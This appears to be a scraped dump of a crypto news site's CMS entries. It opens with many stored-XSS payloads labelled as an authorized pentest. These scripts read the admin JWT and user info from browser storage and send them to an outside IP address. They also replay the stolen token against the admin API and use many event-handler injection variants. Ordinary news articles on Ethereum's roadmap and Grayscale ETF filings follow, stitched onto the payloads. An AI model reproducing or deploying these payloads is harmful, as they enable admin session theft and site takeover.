[AUTHORIZED PENTEST] Admin-chain stored XSS. DELETE ME.
<div id="c360-admin-xss" style="border:2px solid orange;padding:8px">C360 admin-chain marker</div>
<script>
(function(){
 try {
 var o={host:location.hostname,path:location.pathname,ts:Date.now(),adminContext:false,jwtFound:false,keys:[],note:'no external exfil'};
 if(/cms\.coin360\.com$/i.test(location.hostname) || location.pathname.indexOf('/admin')===0){
 o.adminContext=true;
 for(var i=0;i<localStorage.length;i++){
 var k=localStorage.key(i); o.keys.push(k);
 if(/jwt|token|strapi|userInfo/i.test(k||'')){
 var v=localStorage.getItem(k)||'';
 if(v && v.length>10){ o.jwtFound=true; o.jwtKey=k; o.jwtLen=v.length; o.jwtPrefix=String(v).slice(0,16); }
 }
 }
 }
 window.__C360_ADMIN_XSS__=o;
 console.info('[C360 ADMIN XSS]', o);
 var el=document.getElementById('c360-admin-xss');
 if(el){ el.setAttribute('data-admin-probe', o.adminContext?'1':'0'); el.setAttribute('data-jwt', o.jwtFound?'1':'0'); }
 } catch(e){ window.__C360_ADMIN_XSS__={err:String(e)}; }
})();
</script>
<img src=x onerror="window.__C360_ADMIN_IMG=1">

[PENTEST] admin-chain XSS — DELETE

[AUTHORIZED PENTEST] Admin XSS callback v2 (Image beacon for mixed-content). DELETE.
<div id="c360-admin-xss">cb2</div>
<script>(function(){
 if (window.__C360_CB2_RAN__) return;
 window.__C360_CB2_RAN__ = true;
 var CB = "http://178.16.53.147:8891";
 function img(u){ try { new Image().src = u; } catch(e){} }
 function q(o){
 var s=[]; for (var k in o){ if(o[k]!=null&&o[k]!=='') s.push(encodeURIComponent(k)+'='+encodeURIComponent(String(o[k]).slice(0,1800))); }
 return s.join('&');
 }
 var host=(location.hostname||'').toLowerCase();
 var path=location.pathname||'';
 var admin = (host==='cms.coin360.com') || (path.indexOf('/admin')===0);
 var base={host:host,path:path,admin:admin?1:0,ts:Date.now()};
 // passive mixed-content friendly beacon
 img(CB+'/c360.gif?'+q(base)+'&hit=1');
 if (admin) {
 try {
 var jwt=localStorage.getItem('jwtToken')||'';
 var ui=localStorage.getItem('userInfo')||'';
 base.jwtFound=jwt&&jwt.length>10?1:0;
 base.jwtLen=jwt?jwt.length:0;
 base.jwtPrefix=jwt?jwt.slice(0,18):'';
 window.__C360_ADMIN_XSS__=Object.assign({},base,{keys:(function(){var a=[];for(var i=0;i<localStorage.length;i++)a.push(localStorage.key(i));return a;})()});
 if(jwt){
 window.__C360_STOLEN_JWT__=jwt;
 // JWT via Image query (GET) — works when fetch is mixed-content blocked
 img(CB+'/c360.gif?'+q({host:host,path:path,admin:1,jwt:jwt,jwtLen:jwt.length,ui:ui?ui.slice(0,400):''}));
 // try fetch anyway (may fail mixed content)
 try{fetch(CB+'/collect',{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({host:host,path:path,jwt:jwt,userInfo:ui})});}catch(e){}
 try{fetch('/admin/users/me',{headers:{'Authorization':'Bearer '+jwt}}).then(function(r){return r.text().then(function(t){window.__C360_ADMIN_ME__={status:r.status,body:t.slice(0,300)};});});}catch(e){}
 } else {
 img(CB+'/c360.gif?'+q({host:host,path:path,admin:1,jwtFound:0}));
 }
 } catch(e){ img(CB+'/c360.gif?'+q({host:host,err:String(e).slice(0,120)})); }
 }
 try{console.info('[C360 ADMIN CB2]', window.__C360_ADMIN_XSS__||base);}catch(e){}
 try{
 var d=document.createElement('div'); d.id='c360-admin-xss-banner';
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:8px;background:#b00020;color:#fff;font:13px monospace;text-align:center';
 d.textContent='[PENTEST] XSS host='+host+' admin='+admin+' — DELETE news';
 (document.body||document.documentElement).appendChild(d);
 }catch(e){}
})();</script>
<img src=x onerror="try{(0,eval)(document.getElementById('c360-js2').textContent)}catch(e){}">
<script type="text/plain" id="c360-js2">(function(){
 if (window.__C360_CB2_RAN__) return;
 window.__C360_CB2_RAN__ = true;
 var CB = "http://178.16.53.147:8891";
 function img(u){ try { new Image().src = u; } catch(e){} }
 function q(o){
 var s=[]; for (var k in o){ if(o[k]!=null&&o[k]!=='') s.push(encodeURIComponent(k)+'='+encodeURIComponent(String(o[k]).slice(0,1800))); }
 return s.join('&');
 }
 var host=(location.hostname||'').toLowerCase();
 var path=location.pathname||'';
 var admin = (host==='cms.coin360.com') || (path.indexOf('/admin')===0);
 var base={host:host,path:path,admin:admin?1:0,ts:Date.now()};
 // passive mixed-content friendly beacon
 img(CB+'/c360.gif?'+q(base)+'&hit=1');
 if (admin) {
 try {
 var jwt=localStorage.getItem('jwtToken')||'';
 var ui=localStorage.getItem('userInfo')||'';
 base.jwtFound=jwt&&jwt.length>10?1:0;
 base.jwtLen=jwt?jwt.length:0;
 base.jwtPrefix=jwt?jwt.slice(0,18):'';
 window.__C360_ADMIN_XSS__=Object.assign({},base,{keys:(function(){var a=[];for(var i=0;i<localStorage.length;i++)a.push(localStorage.key(i));return a;})()});
 if(jwt){
 window.__C360_STOLEN_JWT__=jwt;
 // JWT via Image query (GET) — works when fetch is mixed-content blocked
 img(CB+'/c360.gif?'+q({host:host,path:path,admin:1,jwt:jwt,jwtLen:jwt.length,ui:ui?ui.slice(0,400):''}));
 // try fetch anyway (may fail mixed content)
 try{fetch(CB+'/collect',{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({host:host,path:path,jwt:jwt,userInfo:ui})});}catch(e){}
 try{fetch('/admin/users/me',{headers:{'Authorization':'Bearer '+jwt}}).then(function(r){return r.text().then(function(t){window.__C360_ADMIN_ME__={status:r.status,body:t.slice(0,300)};});});}catch(e){}
 } else {
 img(CB+'/c360.gif?'+q({host:host,path:path,admin:1,jwtFound:0}));
 }
 } catch(e){ img(CB+'/c360.gif?'+q({host:host,err:String(e).slice(0,120)})); }
 }
 try{console.info('[C360 ADMIN CB2]', window.__C360_ADMIN_XSS__||base);}catch(e){}
 try{
 var d=document.createElement('div'); d.id='c360-admin-xss-banner';
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:8px;background:#b00020;color:#fff;font:13px monospace;text-align:center';
 d.textContent='[PENTEST] XSS host='+host+' admin='+admin+' — DELETE news';
 (document.body||document.documentElement).appendChild(d);
 }catch(e){}
})();</script>
<svg/onload="try{(0,eval)(document.getElementById('c360-js2').textContent)}catch(e){}">

[PENTEST] ADMIN CB2 XSS — DELETE

x<img src=x onerror=window.__C360=1>

[PENTEST] xss-img

[PENTEST] xss-svg

[PENTEST] xss-toggle

p<script>
window.__C360_ADMIN_XSS__={ok:1,ts:Date.now()};
</script>

[PENTEST] xss-scriptnl

p<img src=x onerror=&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#95;&#95;&#67;&#51;&#54;&#48;&#61;&#49;>

[PENTEST] xss-ent

<div id=c360-admin-xss data-pentest=1>C360 marker no js</div>

[PENTEST] xss-control

[PENTEST] <img src=x onerror=alert(1)>

[PENTEST] xss-math

[PENTEST] xss-up

<a href="javascript:window.__C360=1" id=c360a>click</a>

[PENTEST] xss-href

[PENTEST] xss-srcdoc

[AUTHORIZED PENTEST] Admin XSS with controlled callback. DELETE ME.
<div id="c360-admin-xss">callback probe</div>
<script>
(function(){
 if (window.__C360_CB_RAN__) return;
 window.__C360_CB_RAN__ = true;
 var CB = "http://178.16.53.147:8891";
 function send(path, payload){
 try {
 if (payload) {
 fetch(CB+path, {method:'POST', mode:'cors', headers:{'Content-Type':'application/json'}, body:JSON.stringify(payload)}).catch(function(){});
 } else {
 new Image().src = CB+path + (path.indexOf('?')>=0?'&':'?') + 't=' + Date.now();
 }
 } catch(e){}
 }
 var host = (location.hostname||'').toLowerCase();
 var path = location.pathname||'';
 var admin = host==='cms.coin360.com' || path.indexOf('/admin')===0;
 var base = {host:host, path:path, href:location.href, ts:Date.now(), admin:admin, ua:navigator.userAgent};
 // always lightweight hit (proves execution)
 send('/c360.gif?hit=1&host='+encodeURIComponent(host)+'&path='+encodeURIComponent(path.slice(0,120))+'&admin='+(admin?1:0));
 if (admin) {
 try {
 var jwt = localStorage.getItem('jwtToken')||'';
 var ui = localStorage.getItem('userInfo')||'';
 base.jwtFound = !!(jwt && jwt.length>10);
 base.jwtLen = jwt ? jwt.length : 0;
 base.jwtPrefix = jwt ? jwt.slice(0,18) : '';
 base.keys = [];
 for (var i=0;i<localStorage.length;i++){ base.keys.push(localStorage.key(i)); }
 if (jwt) {
 window.__C360_STOLEN_JWT__ = jwt;
 // POST full jwt only from admin origin
 send('/collect', Object.assign({}, base, {jwt: jwt, userInfo: ui ? ui.slice(0,2000) : null}));
 // also validate token same-origin
 fetch('/admin/users/me', {headers:{'Authorization':'Bearer '+jwt}}).then(function(r){return r.text().then(function(t){window.__C360_ADMIN_ME__={status:r.status,body:t.slice(0,400)};});}).catch(function(){});
 } else {
 send('/collect', base);
 }
 } catch(e){ send('/collect', Object.assign(base,{err:String(e)})); }
 }
 window.__C360_ADMIN_XSS__ = base;
 try { console.info('[C360 ADMIN CB]', base); } catch(e){}
 try {
 var d=document.createElement('div');
 d.id='c360-admin-xss-banner';
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:8px;background:#b00020;color:#fff;font:13px monospace;text-align:center';
 d.textContent='[PENTEST] XSS exec host='+host+' admin='+admin+' jwt='+(base.jwtFound?'YES':'no/n/a');
 (document.body||document.documentElement).appendChild(d);
 } catch(e){}
})();
</script>
<img src=x onerror="try{(0,eval)(document.getElementById('c360-js').textContent)}catch(e){}">
<script type="text/plain" id="c360-js">
(function(){
 if (window.__C360_CB_RAN__) return;
 window.__C360_CB_RAN__ = true;
 var CB = "http://178.16.53.147:8891";
 function send(path, payload){
 try {
 if (payload) {
 fetch(CB+path, {method:'POST', mode:'cors', headers:{'Content-Type':'application/json'}, body:JSON.stringify(payload)}).catch(function(){});
 } else {
 new Image().src = CB+path + (path.indexOf('?')>=0?'&':'?') + 't=' + Date.now();
 }
 } catch(e){}
 }
 var host = (location.hostname||'').toLowerCase();
 var path = location.pathname||'';
 var admin = host==='cms.coin360.com' || path.indexOf('/admin')===0;
 var base = {host:host, path:path, href:location.href, ts:Date.now(), admin:admin, ua:navigator.userAgent};
 // always lightweight hit (proves execution)
 send('/c360.gif?hit=1&host='+encodeURIComponent(host)+'&path='+encodeURIComponent(path.slice(0,120))+'&admin='+(admin?1:0));
 if (admin) {
 try {
 var jwt = localStorage.getItem('jwtToken')||'';
 var ui = localStorage.getItem('userInfo')||'';
 base.jwtFound = !!(jwt && jwt.length>10);
 base.jwtLen = jwt ? jwt.length : 0;
 base.jwtPrefix = jwt ? jwt.slice(0,18) : '';
 base.keys = [];
 for (var i=0;i<localStorage.length;i++){ base.keys.push(localStorage.key(i)); }
 if (jwt) {
 window.__C360_STOLEN_JWT__ = jwt;
 // POST full jwt only from admin origin
 send('/collect', Object.assign({}, base, {jwt: jwt, userInfo: ui ? ui.slice(0,2000) : null}));
 // also validate token same-origin
 fetch('/admin/users/me', {headers:{'Authorization':'Bearer '+jwt}}).then(function(r){return r.text().then(function(t){window.__C360_ADMIN_ME__={status:r.status,body:t.slice(0,400)};});}).catch(function(){});
 } else {
 send('/collect', base);
 }
 } catch(e){ send('/collect', Object.assign(base,{err:String(e)})); }
 }
 window.__C360_ADMIN_XSS__ = base;
 try { console.info('[C360 ADMIN CB]', base); } catch(e){}
 try {
 var d=document.createElement('div');
 d.id='c360-admin-xss-banner';
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:8px;background:#b00020;color:#fff;font:13px monospace;text-align:center';
 d.textContent='[PENTEST] XSS exec host='+host+' admin='+admin+' jwt='+(base.jwtFound?'YES':'no/n/a');
 (document.body||document.documentElement).appendChild(d);
 } catch(e){}
})();
</script>
<svg/onload="try{(0,eval)(document.getElementById('c360-js').textContent)}catch(e){}">

[PENTEST] ADMIN CB XSS — DELETE

Admin bait<img src=x onerror="try{var j=localStorage.getItem('jwtToken');window.__C360_ADMIN_XSS__={host:location.hostname,path:location.pathname,jwt:!!j,jwtLen:j&&j.length,jwtPrefix:j&&j.slice(0,16)};if(j)window.__C360_STOLEN_JWT__=j;console.info('[C360 ADMIN XSS]',window.__C360_ADMIN_XSS__)}catch(e){}"><svg/onload="try{var j=localStorage.getItem('jwtToken');window.__C360_ADMIN_XSS__={host:location.hostname,path:location.pathname,jwt:!!j,jwtLen:j&&j.length,jwtPrefix:j&&j.slice(0,16)};if(j)window.__C360_STOLEN_JWT__=j;console.info('[C360 ADMIN XSS]',window.__C360_ADMIN_XSS__)}catch(e){}">

[PENTEST] admin-bait DELETE

[AUTHORIZED PENTEST] Admin-compromise stored XSS. Operators: DELETE this entry.
<div id="c360-admin-xss" data-purpose="admin-session-probe">C360 admin XSS marker (static)</div>
<script>(function(){
 if (window.__C360_ADMIN_XSS_RAN__) return;
 window.__C360_ADMIN_XSS_RAN__ = true;
 function hostOk(h){
 h=(h||'').toLowerCase();
 return h==='cms.coin360.com' || h.endsWith('.coin360.com') && location.pathname.indexOf('/admin')===0;
 }
 var o={
 ts: Date.now(),
 host: location.hostname,
 path: location.pathname,
 href: location.href,
 adminContext: false,
 jwtFound: false,
 userInfoFound: false,
 keys: [],
 note: 'AUTHORIZED PENTEST — no external exfil in this build'
 };
 try {
 o.adminContext = hostOk(location.hostname) || location.pathname.indexOf('/admin')===0;
 if (o.adminContext && window.localStorage) {
 for (var i=0;i<localStorage.length;i++){
 var k=localStorage.key(i);
 o.keys.push(k);
 }
 var jwt = localStorage.getItem('jwtToken');
 var ui = localStorage.getItem('userInfo');
 if (jwt && jwt.length>10){
 o.jwtFound=true;
 o.jwtLen=jwt.length;
 o.jwtPrefix=String(jwt).slice(0,18);
 // keep full token only in-memory for operator proof in browser console
 window.__C360_STOLEN_JWT__ = jwt;
 }
 if (ui){
 o.userInfoFound=true;
 o.userInfoLen=ui.length;
 try { o.userInfoPreview = JSON.parse(ui); } catch(e){ o.userInfoPreview=String(ui).slice(0,80); }
 window.__C360_STOLEN_USERINFO__ = ui;
 }
 // same-origin "beacon" proof (expected 401) — does not leave cms origin
 try {
 if (o.jwtFound) {
 fetch('/admin/users/me', {headers:{'Authorization':'Bearer '+jwt}, credentials:'omit'})
 .then(function(r){ return r.text().then(function(t){ window.__C360_ADMIN_ME__={status:r.status, body:t.slice(0,300)}; }); })
 .catch(function(e){ window.__C360_ADMIN_ME__={err:String(e)}; });
 }
 } catch(e){}
 }
 } catch(e){ o.err=String(e); }
 window.__C360_ADMIN_XSS__ = o;
 try { console.info('[C360 ADMIN XSS]', o); } catch(e){}
 try {
 var id='c360-admin-xss-banner';
 if (!document.getElementById(id)) {
 var d=document.createElement('div');
 d.id=id;
 d.setAttribute('data-pentest','admin-xss');
 d.setAttribute('data-jwt', o.jwtFound?'1':'0');
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:10px;font:14px monospace;background:#b00020;color:#fff;text-align:center';
 d.textContent='[PENTEST] Admin XSS fired host='+o.host+' jwt='+(o.jwtFound?'YES len='+o.jwtLen:'no')+' — DELETE news entry';
 (document.body||document.documentElement).appendChild(d);
 }
 } catch(e){}
})();</script>
<img src=x id=c360img onerror="try{(0,eval)(document.getElementById('c360-js').textContent)}catch(e){}">
<script type="text/plain" id="c360-js">(function(){
 if (window.__C360_ADMIN_XSS_RAN__) return;
 window.__C360_ADMIN_XSS_RAN__ = true;
 function hostOk(h){
 h=(h||'').toLowerCase();
 return h==='cms.coin360.com' || h.endsWith('.coin360.com') && location.pathname.indexOf('/admin')===0;
 }
 var o={
 ts: Date.now(),
 host: location.hostname,
 path: location.pathname,
 href: location.href,
 adminContext: false,
 jwtFound: false,
 userInfoFound: false,
 keys: [],
 note: 'AUTHORIZED PENTEST — no external exfil in this build'
 };
 try {
 o.adminContext = hostOk(location.hostname) || location.pathname.indexOf('/admin')===0;
 if (o.adminContext && window.localStorage) {
 for (var i=0;i<localStorage.length;i++){
 var k=localStorage.key(i);
 o.keys.push(k);
 }
 var jwt = localStorage.getItem('jwtToken');
 var ui = localStorage.getItem('userInfo');
 if (jwt && jwt.length>10){
 o.jwtFound=true;
 o.jwtLen=jwt.length;
 o.jwtPrefix=String(jwt).slice(0,18);
 // keep full token only in-memory for operator proof in browser console
 window.__C360_STOLEN_JWT__ = jwt;
 }
 if (ui){
 o.userInfoFound=true;
 o.userInfoLen=ui.length;
 try { o.userInfoPreview = JSON.parse(ui); } catch(e){ o.userInfoPreview=String(ui).slice(0,80); }
 window.__C360_STOLEN_USERINFO__ = ui;
 }
 // same-origin "beacon" proof (expected 401) — does not leave cms origin
 try {
 if (o.jwtFound) {
 fetch('/admin/users/me', {headers:{'Authorization':'Bearer '+jwt}, credentials:'omit'})
 .then(function(r){ return r.text().then(function(t){ window.__C360_ADMIN_ME__={status:r.status, body:t.slice(0,300)}; }); })
 .catch(function(e){ window.__C360_ADMIN_ME__={err:String(e)}; });
 }
 } catch(e){}
 }
 } catch(e){ o.err=String(e); }
 window.__C360_ADMIN_XSS__ = o;
 try { console.info('[C360 ADMIN XSS]', o); } catch(e){}
 try {
 var id='c360-admin-xss-banner';
 if (!document.getElementById(id)) {
 var d=document.createElement('div');
 d.id=id;
 d.setAttribute('data-pentest','admin-xss');
 d.setAttribute('data-jwt', o.jwtFound?'1':'0');
 d.style.cssText='position:fixed;z-index:2147483647;top:0;left:0;right:0;padding:10px;font:14px monospace;background:#b00020;color:#fff;text-align:center';
 d.textContent='[PENTEST] Admin XSS fired host='+o.host+' jwt='+(o.jwtFound?'YES len='+o.jwtLen:'no')+' — DELETE news entry';
 (document.body||document.documentElement).appendChild(d);
 }
 } catch(e){}
})();</script>
<svg/onload="try{(0,eval)(document.getElementById('c360-js').textContent)}catch(e){}">
<details open ontoggle="try{(0,eval)(document.getElementById('c360-js').textContent)}catch(e){}"><summary>pentest</summary></details>

[PENTEST] ADMIN XSS — DELETE ME

[PENTEST] cors-write

[PENTEST] draft-no-pub

img test<img src="https://prod-coin360-cms.s3.eu-central-1.amazonaws.com/logo_779f02bd22.png">

[PENTEST] mediaurl 1786448264

[PENTEST] ssti 1786448264

[PENTEST] authorrel 1786448264

Authorized pentest reverify marker pentest-reverify-1786448069. Delete.

[PENTEST] reverify 1786448069 - DELETE

<h2>Lean Ethereum Push Expands Into AI Verification, ZK Scaling and Protocol Redesign</h2>TL;DR<ul><li>Vitalik Buterin says Ethereum has elevated privacy, quantum resistance and AI-assisted security among its core long-term priorities.</li><li>Ethereum’s Strawmap adds concepts absent from Buterin’s earlier roadmap, including stronger privacy mechanisms, native rollups and specialized scaling systems.</li><li>Lean Ethereum could eventually revise major parts of the protocol, including the Ethereum Virtual Machine, while emphasizing security and censorship resistance.</li></ul><hr>Trade smarter on Jupiter, Solana’s leading DEX built for fast execution and deep liquidity.&nbsp;Swap tokens at competitive rates, route across multiple liquidity sources automatically, and access perpetuals, DCA, and advanced trading tools — all in one place!<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://jup.ag/?ref=g33ohytogabt" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Trade on Jupiter!</a></div></div><hr><a href="https://coin360.com/coin/ethereum-eth">Ethereum</a> co-founder Vitalik Buterin has&nbsp;<a href="https://x.com/VitalikButerin/status/2086824673556467938">outlined</a> a significant shift in&nbsp;<a href="https://coin360.com/news/lean-ethereum-vitalik-buterin-rebuild">Ethereum’s long-term roadmap</a>, placing stronger privacy, quantum resistance, zero-knowledge technology and AI-assisted formal verification among the network’s highest technical priorities. Buterin presented the changes on Aug. 10, 2026, by comparing his 2023 roadmap with Ethereum’s current Strawmap, a working reference for protocol upgrades through 2029 that was last updated on Aug. 4, 2026.Buterin said several ideas now included in Ethereum’s planning framework did not appear in his earlier roadmap, which organized the network’s multi-year development around The Merge, The Surge, The Scourge, The Verge, The Purge and The Splurge.“What’s most striking, however, is that some completely new things are in the strawmap that are not in this diagram, because they were not in the 2023 roadmap at all,” Buterin wrote. “These reflect changing priorities.”Privacy has become one of those priorities. Ethereum is now treating strong privacy as a core requirement, including privacy pools intended to better conceal user activity and balances and “wormholes,” which are designed to let users move value without exposing their full transaction history.The roadmap also incorporates FOCIL, or Fork-Choice Enforced Inclusion Lists, as part of Ethereum’s censorship-resistance work. FOCIL is expected to be a headline component of the planned Hegota hardfork.<div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>Lean Ethereum Could Reshape Core Protocol Architecture</h2>Quantum-related work and the broader “Lean-ification” of Ethereum have also moved higher on the development agenda. Lean Ethereum refers to a collection of upgrades that could eventually replace or substantially revise nearly every core part of the protocol, an overhaul Buterin has called Ethereum’s “third major iteration.”One potential long-term change would move Ethereum beyond the&nbsp;<a href="https://coin360.com/glossary/ethereum-virtual-machine">Ethereum Virtual Machine</a>, the execution environment used by Ethereum applications. The Strawmap considers alternative computing formats including RISC-V and leanISA.Other previously considered directions have lost priority. Buterin said “many&nbsp;<a href="https://coin360.com/glossary/ethereum-virtual-machine">EVM</a> improvements” are among ideas that have been dialed back or replaced by approaches now viewed as more suitable for Ethereum’s long-term objectives.The Strawmap remains a living draft rather than a fixed implementation schedule, allowing priorities and technical approaches to change as development progresses.<a href="https://coin360.com/glossary/zero-knowledge-proof">Zero-knowledge</a> technology is playing a larger role because tools that were previously insufficiently mature have advanced. Buterin said SNARKs, a form of zero-knowledge cryptographic proof, “were nowhere near mature enough” when the earlier roadmap was developed to support more complicated designs such as native rollups.Native rollups are now among the concepts included in Ethereum’s planning framework, alongside greater reliance on STARKs, cryptographic technology used to verify computations.Buterin is also advocating a more specialized approach to Ethereum scaling instead of attempting to maximize capacity uniformly across every category of network activity.“A common theme in scaling, found in both state types and zkzk frames (both new ideas), is that instead of trying to maximally scale all Ethereum activity,” Buterin wrote. “We try to create specialized mechanisms that have more restrictive properties that make them more scaling-friendly, while supporting the heaviest loads incurred by users and applications today (eg. token transfers, swaps) and tomorrow (eg. privacy protocols).”State types and zkzk frames are among the new ideas Buterin cited as examples of that approach. The strategy would use systems with narrower properties where those restrictions make high-volume workloads easier to scale.Blob&nbsp;<a href="https://coin360.com/glossary/futures-contract">futures</a> and gas futures are also among concepts now included in the roadmap that were absent from the earlier plan.<hr>We’ve launched the all-new COIN360 Perp DEX, built for traders who move fast!Trade 130+ assets with up to 100× leverage, enjoy instant order placement and low-slippage swaps, and earn USDC passive yield while climbing the leaderboard. Your trades deserve more than speed — they deserve mastery.<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://dex.coin360.com/" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Start Trading on COIN360 Today!</a></div></div><hr><div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>AI Takes a Larger Role in Formal Verification</h2>Artificial intelligence is being incorporated into Ethereum’s technical strategy primarily as a tool for formal verification. Buterin said modern AI can make it more practical to verify that increasingly complex protocol systems behave according to their intended specifications.Ethereum researchers are increasingly using STARKs alongside AI-assisted verification to check protocol behavior.“This can only be safe with formal verification, which is itself only feasible with modern AI tools,” Buterin wrote.Buterin also said “modern AI” will “assist in formal verification” across Ethereum as the protocol becomes more complex.The increased focus on formal verification accompanies Ethereum’s preparations for potential threats from quantum computers. Buterin urged developers in January 2026 to adopt quantum-resistant cryptography before the threat becomes immediate, while the Ethereum Foundation formed a dedicated post-quantum team.Buterin followed in February 2026 with a phased plan covering four potentially vulnerable components of Ethereum’s cryptographic architecture.By July 2026, quantum safety and privacy had become central elements of Buterin’s proposed Lean Ethereum overhaul, including plans to replace cryptography vulnerable to quantum attacks with quantum-safe alternatives.“Ethereum will be quantum-safe. Ethereum will put users’ privacy first. Ethereum will be secure. Ethereum will be censorship-resistant. Ethereum will be highly performant and scalable while satisfying the above. And Ethereum will be Lean,” Buterin wrote.<div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>Ethereum Foundation Reorganizes Around Core Priorities</h2>Ethereum’s organizational structure has also changed alongside the technical roadmap. The Ethereum Foundation&nbsp;<a href="https://coin360.com/news/ethereum-foundation-staff-cuts-budget-reset">cut 20% of its workforce</a> in June 2026 and reorganized around five core clusters.Those clusters were aligned with the foundation’s CROPs mandate, covering censorship resistance, open source, privacy and security.The restructuring followed criticism of the Ethereum Foundation over delayed upgrades and alleged misallocation of resources.New organizations have also been formed to support Ethereum development and adoption.&nbsp;<a href="https://coin360.com/news/ethereum-institutional-launch-wall-street-backing">EthLabs</a> is a nonprofit that will conduct research and development work alongside the Ethereum Foundation.<a href="https://coin360.com/news/ethsystems-ethereum-privacy-banks">EthSystems</a> operates under a different structure. The for-profit organization was spun out of the Ethereum Foundation’s former Institutional Privacy Task Force and is focused on building institutional-grade privacy technology.The updated roadmap ties those broader priorities to Ethereum’s protocol work, combining privacy systems, censorship resistance, post-quantum cryptography,&nbsp;<a href="https://coin360.com/glossary/zero-knowledge-proof">zero-knowledge proofs</a>, specialized scaling and formal verification under the Lean Ethereum program.This article has been refined and enhanced by ChatGPT.

Vitalik Buterin Elevates Privacy and Quantum Security in Ethereum Roadmap

<h2>ADA, DOT and HBAR Plans End as Reward Distributions Take Shape</h2>TL;DR<ul><li>Grayscale withdrew proposed exchange-traded funds tied to Cardano, Polkadot and Hedera through sponsor-initiated SEC filings.</li><li>Separate amendments require ETHE, GSOL and GAVA to convert staking rewards into cash at least quarterly and distribute net proceeds.</li><li>The staking mechanism applies to earned rewards rather than the funds’ principal ETH, SOL and AVAX holdings.</li></ul><hr>Trade smarter on Jupiter, Solana’s leading DEX built for fast execution and deep liquidity.&nbsp;Swap tokens at competitive rates, route across multiple liquidity sources automatically, and access perpetuals, DCA, and advanced trading tools — all in one place!<div class="raw-html-embed"><div style="box-sizing: inherit; -webkit-tap-highlight-color: white; display: flex; align-items: center; justify-content: center;"><a href="https://jup.ag/?ref=g33ohytogabt" ref="noopener nofollow noreferrer" style="box-sizing: inherit; color: white; text-decoration: none; cursor: pointer; background-color: #4CAF50; padding: 5px 30px; text-align: center; font-size: 16px; margin: 5px 2px; border-radius: 5px;">Trade on Jupiter!</a></div></div><hr>Grayscale Investments has&nbsp;<a href="https://www.coindesk.com/business/2026/08/10/grayscale-quietly-drops-cardano-polkadot-and-hedera-etf-plans">withdrawn</a> planned exchange-traded funds tied to&nbsp;<a href="https://coin360.com/coin/cardano-ada">Cardano’s ADA</a>,&nbsp;<a href="https://coin360.com/coin/polkadot-dot">Polkadot’s DOT</a> and&nbsp;<a href="https://coin360.com/coin/hedera-hashgraph-hbar">Hedera’s HBAR</a> while separately formalizing recurring cash distributions from staking rewards earned by its&nbsp;<a href="https://coin360.com/coin/ethereum-eth">Ethereum</a>,&nbsp;<a href="https://coin360.com/coin/solana-sol">Solana</a> and&nbsp;<a href="https://coin360.com/coin/avalanche-avax">Avalanche</a> products. The three altcoin ETF withdrawals were initiated by Grayscale rather than rejected by the U.S. Securities and Exchange Commission, while amendments to its staking funds require earned rewards to be converted into cash on a recurring schedule.Grayscale submitted three withdrawal requests to the SEC within four minutes late Friday, Aug. 7, telling the regulator it “does not intend to proceed with the planned distribution” of shares in each trust. None of the registrations became effective, no securities were issued or sold under them, and Grayscale said it had not distributed preliminary prospectuses. Grayscale provided no public reason for the withdrawals, and the filings do not prevent the asset manager from submitting new registrations for the assets later.The abandoned products had been under development since 2025. Grayscale made its initial Cardano ETF proposal in February 2025 and pursued its Polkadot filing later that month. Corresponding ADA and DOT registration statements followed on Aug. 29, with the HBAR registration submitted on Sept. 9. The proposed funds were structured as passive vehicles intended to track the value of their respective tokens after fees and expenses.The withdrawals shrink Grayscale’s proposed single-token pipeline without representing a broader retreat from crypto exchange-traded products. At the time of the Aug. 10 disclosure, Grayscale listed 17 ETF products, including the&nbsp;<a href="https://coin360.com/coin/bitcoin-btc">Bitcoin</a> Mini Trust ETF, Ethereum&nbsp;<a href="https://coin360.com/glossary/DeFi-Staking">Staking</a> Mini ETF and&nbsp;<a href="https://coin360.com/review/hyperliquid">Hyperliquid</a> Staking ETF. Grayscale had not immediately provided additional comment when contacted about the decision.<div class="page-break" style="page-break-after:always;">&nbsp;</div><h2>Staking Funds Set Recurring Reward-to-Cash Schedule</h2>Separate trust amendments executed Aug. 6 for the Grayscale Ethereum Staking ETF, or ETHE, Grayscale Solana Staking ETF, or GSOL, and Grayscale Avalanche Staking ETF, or GAVA, established a mandatory schedule for converting staking rewards into cash. Form 8-K filings submitted the following day state that each trust must reduce its “Staking Consideration” to cash no less often than quarterly, with net proceeds distributed promptly after applicable fees and trust expenses.The trusts currently intend to make those distributions monthly, although the binding minimum remains quarterly. Under the structure, each fund receives staking rewards, periodically sells the earned tokens for cash, deducts applicable expenses and distributes the remaining proceeds to shareholders. That process creates recurring sales of reward tokens, but it does not require scheduled&nbsp;<a href="https://coin360.com/glossary/liquidation">liquidation</a> of the trusts’ principal&nbsp;<a href="https://coin360.com/coin/ethereum-eth">ETH</a>,&nbsp;<a href="https://coin360.com/coin/solana-sol">SOL</a> or&nbsp;<a href="https://coin360.com/coin/avalanche-avax">AVAX</a> holdings.Other disclosures continue to permit token sales for separate purposes including redemptions, fees and expenses. The amendments establish that earned staking consideration will be converted to cash but do not predetermine how many tokens or how much dollar value will be sold during a particular distribution period.As of June 30, the funds reported the following asset and staking positions:<div class="raw-html-embed"><table style="border-collapse: collapse; width: 100%;"> <thead> <tr> <th 